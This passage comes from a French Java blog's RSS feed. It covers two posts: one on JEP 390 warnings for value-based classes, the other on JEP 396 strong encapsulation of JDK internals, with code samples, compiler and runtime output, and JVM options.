&lt;p&gt;Dans le monde Java, tout est objet. Chaque type primitif correspond une classe &quot;wrapper&quot;, comme &lt;code&gt;java.lang.Integer&lt;/code&gt;, &lt;code&gt;java.lang.Double&lt;/code&gt; pour respectivement les types &lt;code&gt;int&lt;/code&gt;, &lt;code&gt;double&lt;/code&gt;. La gestion des ensembles &lt;code&gt;Set&lt;/code&gt; ou des listes &lt;code&gt;List&lt;/code&gt; est un cas d&amp;#8217;usage. En effet, nous ne pouvons pas écrire la définition suivante : &lt;code&gt;Set&amp;lt;int&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Un autre cas d&amp;#8217;usage est l&amp;#8217;utilisation de ces classes dans les entités JPA qui permet de traiter la valeur nulle d&amp;#8217;une colonne. En effet, en utilisant le type primitif, la colonne devient obligatoire.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cependant, cela a un coût en mémoire et un coût en temps d&amp;#8217;accès. Pour accèder à la valeur, il faut passer par référence qui demande un accès mémoire. Par exemple, un tableau d&amp;#8217;entier &lt;code&gt;int[]&lt;/code&gt; prend moins de places qu&amp;#8217;un &lt;code&gt;Set&amp;lt;Integer&amp;gt;&lt;/code&gt;. Sans compter que côté matériel, l&amp;#8217;accès d&amp;#8217;un tableau est plus efficace qu&amp;#8217;un parcours d&amp;#8217;un ensemble dont il est nécessaire d&amp;#8217;accèder à la valeur par référence. En effet, cela nécessite un accès mémoire donc les caches et les pipelines des processeurs ne sont pas mis à profit.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De plus, le fait qu&amp;#8217;ils soient des instances de classes, ils portent une identité qui n&amp;#8217;a pas de sens pour les types primitives.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;value_based_classes&quot;&gt;Value-based classes&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les &quot;Value based classes&quot; sont des classes qui ont les propriétés suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;sont des classes finales et immutables,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;possèdent les méthodes : &lt;code&gt;equals()&lt;/code&gt;, &lt;code&gt;hascode()&lt;/code&gt; et &lt;code&gt;toString()&lt;/code&gt;,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;l&amp;#8217;égalité en utilisant la méthode &lt;code&gt;equals()&lt;/code&gt; et non l&amp;#8217;opération d&amp;#8217;égalité (&lt;code&gt;==&lt;/code&gt;),&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;n&amp;#8217;ont pas de constructeurs mais une méthode fabrique &quot;factory method&quot; qui n&amp;#8217;apporte aucun garantie sur l&amp;#8217;identité.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; L&amp;#8217;impact est assez important. Donc, la transition se fait par étape.
s&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La première a été de désigner les classes candidates. Nous avons par exemple :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;les classes &quot;wrapper&quot; des types primitives : &lt;code&gt;java.lang&lt;/code&gt; (&lt;code&gt;Byte&lt;/code&gt;, &lt;code&gt;Short&lt;/code&gt;, &lt;code&gt;Integer&lt;/code&gt;, &lt;code&gt;Long&lt;/code&gt;, &lt;code&gt;Float&lt;/code&gt;, &lt;code&gt;Double&lt;/code&gt;, &lt;code&gt;Boolean&lt;/code&gt; et &lt;code&gt;Character&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;les classes optionnelles : &lt;code&gt;java.util&lt;/code&gt; (&lt;code&gt;Optional&lt;/code&gt;, &lt;code&gt;OptionalInt&lt;/code&gt;, &lt;code&gt;OptionalLong&lt;/code&gt; et &lt;code&gt;OptionalDouble&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;certaines classes de l&amp;#8217;API &lt;code&gt;java.time&lt;/code&gt; (&lt;code&gt;Instant&lt;/code&gt;, &lt;code&gt;LocalDate&lt;/code&gt;, &lt;code&gt;LocalTime&lt;/code&gt;, &lt;code&gt;LocalDateTime&lt;/code&gt;, &lt;code&gt;ZonedDateTime&lt;/code&gt;, &lt;code&gt;ZoneId&lt;/code&gt;, &lt;code&gt;OffsetTime&lt;/code&gt;, &lt;code&gt;OffsetDateTime&lt;/code&gt;, &lt;code&gt;ZoneOffset&lt;/code&gt;, &lt;code&gt;Duration&lt;/code&gt;, &lt;code&gt;Period&lt;/code&gt;, &lt;code&gt;Year&lt;/code&gt;, &lt;code&gt;YearMonth&lt;/code&gt; et &lt;code&gt;MonthDay&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La seconde étape a été de déprécier les contructeurs des classes &quot;wrapper&quot; dans le JDK 9.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Les classes optionnelles`java.util` et les les classes de l&amp;#8217;API &lt;code&gt;java.time&lt;/code&gt; ne possèdent pas de constructeurs. Ils utilisent le principe des méthodes de fabriques.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;ZonedDateTime maintenant = ZonedDateTime.now();
OptionalInt option = OptionalInt.of(15);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;warnings_for_value_based_classes&quot;&gt;Warnings for Value Based Classes&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif de la troisième étape est de décourager les mauvaises utilisations de ces classes en ajoutant des avertisssements à la compilation et à l&amp;#8217;exécution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans le JDK 16, les constructions des classes &quot;wrapper&quot; sont &lt;strong&gt;dépréciés pour suppression&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;warning: [removal] Double(double) in Double has been deprecated and marked for removal
        d = new Double(20.0);
                ^&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, nous avons deux posssibilités&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Double d = Double.valueOf(10.0); // factory method
Double d = 10.0;		 // tout simplement :)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Une contrainte supplémentaire est qu&amp;#8217;il ne sera plus possible d&amp;#8217;utiliser ces classes pour les blocs &lt;code&gt;synchronized&lt;/code&gt;. C&amp;#8217;est pourquoi, l&amp;#8217;objectif est d&amp;#8217;ajouter un avertissement pour déconseiller cet usage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Double d = 10.0;
synchronized (d) {
	System.out.println(&quot;Section synchronized (d)&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Lors de la compilation, nous obtenons le message suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;warning: [synchronization] attempt to synchronize on an instance of a value-based class
        synchronized (d)
        ^&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cependant, en fonction du code, cela ne peut pas être détecter lors de la compilation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Double d = 10.0;
Object o = d;
synchronized (o) {
	System.out.println(&quot;Section synchronized (o)&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, la définition d&amp;#8217;un bloc &lt;code&gt;synchronized&lt;/code&gt; avec la classe Object reste naturellement autorisée. Donc le compilateur n&amp;#8217;affiche pas d&amp;#8217;avertissement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est pourquoi, des avertissements à l&amp;#8217;exécution ont aussi été implémentés. Par contre, ces avertissements ne sont pas activés par défaut. Il faut ajouter l&amp;#8217;option suivante sur la ligne :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-XX:DiagnoseSyncOnValueBasedClasses=1&lt;/code&gt; Cela est plus qu`un avertissement puisque la JVM s&amp;#8217;arrête avec une erreur fatale.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-XX:DiagnoseSyncOnValueBasedClasses=2&lt;/code&gt; Celui-ci est un avertissement sur la console ou via les événements JDK Flight Recorder.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;[0,046s][info][valuebasedclasses] Synchronizing on object 0x000000071721b3b0 of klass java.lang.Double
[0,046s][info][valuebasedclasses] 	at fr.lbenoit.billets.codes_sources.Programme.main(Programme.java:16)
[0,047s][info][valuebasedclasses] 	- locked &amp;lt;0x000000071721b3b0&amp;gt; (a java.lang.Double)
Section synchronized (d)
[0,047s][info][valuebasedclasses] Synchronizing on object 0x000000071721b3b0 of klass java.lang.Double
[0,047s][info][valuebasedclasses] 	at fr.lbenoit.billets.codes_sources.Programme.main(Programme.java:22)
[0,047s][info][valuebasedclasses] 	- locked &amp;lt;0x000000071721b3b0&amp;gt; (a java.lang.Double)
Section synchronized (o)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Il est à noter que pour utiliser ces options, il faut activer les diagnostics VM avec l&amp;#8217;option &lt;code&gt;-XX:+UnlockDiagnosticVMOptions&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est l&amp;#8217;occasion de se préparer au futur de Java.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/projects/valhalla/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Projet Valhalla&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/390&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 390: Warnings for Value-Based Classes&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/169&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 169: Value Object&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/doc-files/ValueBased.html&quot;&gt;(en) Javadoc JDK 15 Value-based Classes &lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 396 Strongly Encapsulate JDK Internals by Default</title>
      <link>https://www.lilian-benoit.fr/2021/02/JEP396-Strongly-Encapsulate-JDK-Internals-by-Default.html</link>
      <pubDate>dim., 21 févr. 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/02/JEP396-Strongly-Encapsulate-JDK-Internals-by-Default.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#description&quot;&gt;Description&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#cela_concerne_quoi&quot;&gt;Cela concerne quoi ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#illustration&quot;&gt;Illustration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#désactiver_ce_renforcement&quot;&gt;Désactiver ce renforcement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#la_solution&quot;&gt;La solution&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#qualité_et_communauté&quot;&gt;Qualité et communauté&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Retour en septembre 2017, le JDK 9 vient de sortie avec la mise en place du système de modules provenant du &lt;a href=&quot;https://openjdk.java.net/projects/jigsaw/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Projet Jigsaw&lt;/a&gt;. Cela a aussi été l&amp;#8217;occassion d&amp;#8217;introduire la fonctionnalité &lt;a href=&quot;https://openjdk.java.net/jeps/260&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 260: Encapsulate Most Internal APIs&lt;/a&gt; pour l&amp;#8217;encapsulation des APIs internes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La communauté s&amp;#8217;inquiète vis à vis de l&amp;#8217;accès de ces API, soit vis à vis de la mise en oeuvre d&amp;#8217;alternative ou l&amp;#8217;absence d&amp;#8217;alternative. Cela avait fait couler beaucoup d&amp;#8217;encre à l&amp;#8217;époque.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Cela a été aussi un frein à l&amp;#8217;adoption du JDK 9 en pensant que beaucoup de librairies allaient être cassées. Dans cette logique, beaucoup de projets sont restés au JDK 8.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pourtant, suite aux retours de la communauté, la JEP introduit une nouvelle option afin de configurer l&amp;#8217;accès ou non à ces API. &lt;strong&gt;La valeur par défaut est de les autoriser comme en JDK 8&lt;/strong&gt;. Ce qui va faciliter la transition.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; De même aujourd&amp;#8217;hui, beaucoup de développeur Java pense qu&amp;#8217;il faut faire des modules dès que nous travaillons avec un JDK 9+. &lt;strong&gt;Cela n&amp;#8217;est absolument pas obligatoire.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif de ce renforcement est d&amp;#8217;améliorer le sécurité et la maintenance du JDK. En effet, si les développeurs n&amp;#8217;ont pas accès aux classes internes du JDK (même via la réflexion), cela permettrait de faciliter le travail sur les prochaines évolutions du JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le but est de cette JEP est de passer une étape supplémentaire, en encourageant les développeurs à migrer des API internes du JDK aux API stantard. &lt;strong&gt;Le but n&amp;#8217;est pas de supprimer, ni de modifier les API internes critiques qui n&amp;#8217;ont pas de remplacement standard au niveau de l&amp;#8217;API.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Cela implique que la fameux classe &lt;code&gt;sun.misc.Unsafe&lt;/code&gt; reste disponible&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;cela_concerne_quoi&quot;&gt;Cela concerne quoi ?&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les classes, méthodes, attributs concernées sont :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Les classes non publiques, les méthodes non publiques et les attributs non public des packages &lt;code&gt;java.*&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tous les classes, les méthodes et les attributs des packages &lt;code&gt;sun.&lt;strong&gt;&lt;/code&gt;, &lt;code&gt;com.sun.&lt;/strong&gt;&lt;/code&gt; et &lt;code&gt;jdk.*&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Dés le début, Sun alertait qu&amp;#8217;il ne fallait pas utiliser ces classes &lt;a href=&quot;http://web.archive.org/web/19980215011039/http://java.sun.com/products/jdk/faq/faq-sun-packages.html&quot;&gt;FAQ de Sun&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;illustration&quot;&gt;Illustration&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour illustrer le sujet, nous allons faire un programme qui veut accèder à un attribut protégé du JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;var ks = java.security.KeyStore.getInstance(&quot;jceks&quot;);
var f = ks.getClass().getDeclaredField(&quot;keyStoreSpi&quot;);
f.setAccessible(true);

System.out.println(f.get(ks)); // l&apos;attribut est maintenant accessible&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le programme fonctionne très bien en JDK 8.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le programme fonctionne aussi &lt;strong&gt;très bien avec un JDK 9+&lt;/strong&gt;. Cependant, un message d&amp;#8217;avertissement apparait lors du premier accès illégal aux packages.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by fr.lbenoit.billets.codes_sources.ReflexionProgramme (file:/media/lbenoit/DATA/opt/sources/lbenoit/blog/billet-codes-sources/2021/02/2021-02-StrongEncapsulation/target/classes/) to field java.security.KeyStore.keyStoreSpi
WARNING: Please consider reporting this to the maintainers of fr.lbenoit.billets.codes_sources.ReflexionProgramme
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
com.sun.crypto.provider.JceKeyStore@439f5b3d&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revanche, avec le renforcement de l&amp;#8217;encapsulation, le programme ne fonctionne plus en JDK 16.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Exception in thread &quot;main&quot; java.lang.reflect.InaccessibleObjectException: Unable to make field private java.security.KeyStoreSpi java.security.KeyStore.keyStoreSpi accessible: module java.base does not &quot;opens java.security&quot; to unnamed module @60e89085
	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:357)
	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
	at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:177)
	at java.base/java.lang.reflect.Field.setAccessible(Field.java:171)
	at fr.lbenoit.billets.codes_sources.ReflexionProgramme.main(ReflexionProgramme.java:10)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;désactiver_ce_renforcement&quot;&gt;Désactiver ce renforcement&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme évoqué plus haut, dès le JDK 9, l&amp;#8217;équipe avait prévu une option qui permet de controller l&amp;#8217;accès ou non à ces API.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--illegal-access=permit&lt;/code&gt; autorise les accès illégaux en affichant un avertissement lors du premier accès illégal du package.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--illegal-access=warn&lt;/code&gt; identique à &lt;code&gt;permit&lt;/code&gt; mais l&amp;#8217;avertissement apparait à chaque appel.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--illegal-access=debug&lt;/code&gt; identique à &lt;code&gt;warn&lt;/code&gt; mais l&amp;#8217;avertissement est accompagné d&amp;#8217;une pile d&amp;#8217;appel.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--illegal-access=deny&lt;/code&gt; interdit tous les accès illégaux.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Du JDK 9 à 15, le mode par défaut est &lt;code&gt;permit&lt;/code&gt;. Maintenant, depuis le JDK 16, le mode par défaut est &lt;code&gt;deny&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;option est toujours disponible. Nous pouvons autoriser l&amp;#8217;accès illégaux aux APIs internes avec le mode &lt;code&gt;permit&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Si nous sommes passés par là, il est préférable de corriger le problème en passant par la valeur &lt;code&gt;debug&lt;/code&gt; pour avoir des informations afin de corriger le problème. Sinon, c&amp;#8217;est reculer pour mieux se prendre le mur.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, la prochaine étape sera la suppression de cette option. Dans ce cas, il faudra utiliser l&amp;#8217;option --add-open qui est beaucoup moins simple à utiliser.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;la_solution&quot;&gt;La solution&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En réalité, les alternatives sont arrivées tout le long des versions du JDK.
Voici quelques exemples :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Utiliser la librairie Xerces externe et non la copie interne du JDK&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Utiliser la librairie ASM externe et non la copie interne du JDK&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sun.misc.Service&lt;/code&gt; par &lt;code&gt;java.util.ServiceLoader&lt;/code&gt; depuis le JDK 6&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sun.util.calendar.ZoneInfo&lt;/code&gt; par &lt;code&gt;java.util.TimeZone&lt;/code&gt; depuis le JDK 8&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Un gros travail avait été fait dans le JDK 9. Cette &lt;a href=&quot;https://wiki.openjdk.java.net/display/JDK8/Java+Dependency+Analysis+Tool&quot;&gt;page du wiki&lt;/a&gt; du projet OpenJDK est très bien pour avoir les correspondances entre les API internes à ne plus utiliser et les API standard.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le travail continue pour les méthodes sans alternatives. Par exemple, je vous parlais dans les &lt;a href=&quot;/2020/11/JDK15-Nouveautes.html#371_hidden_classes&quot;&gt;nouveautés du JDK 15&lt;/a&gt; des classes cachées. Cela est un exemple de remplacement d&amp;#8217;une API interne par une API standard.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Pour vous aider dans ce travail, l&amp;#8217;outil &lt;code&gt;jdeps&lt;/code&gt; est disponible depuis le JDK 9.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
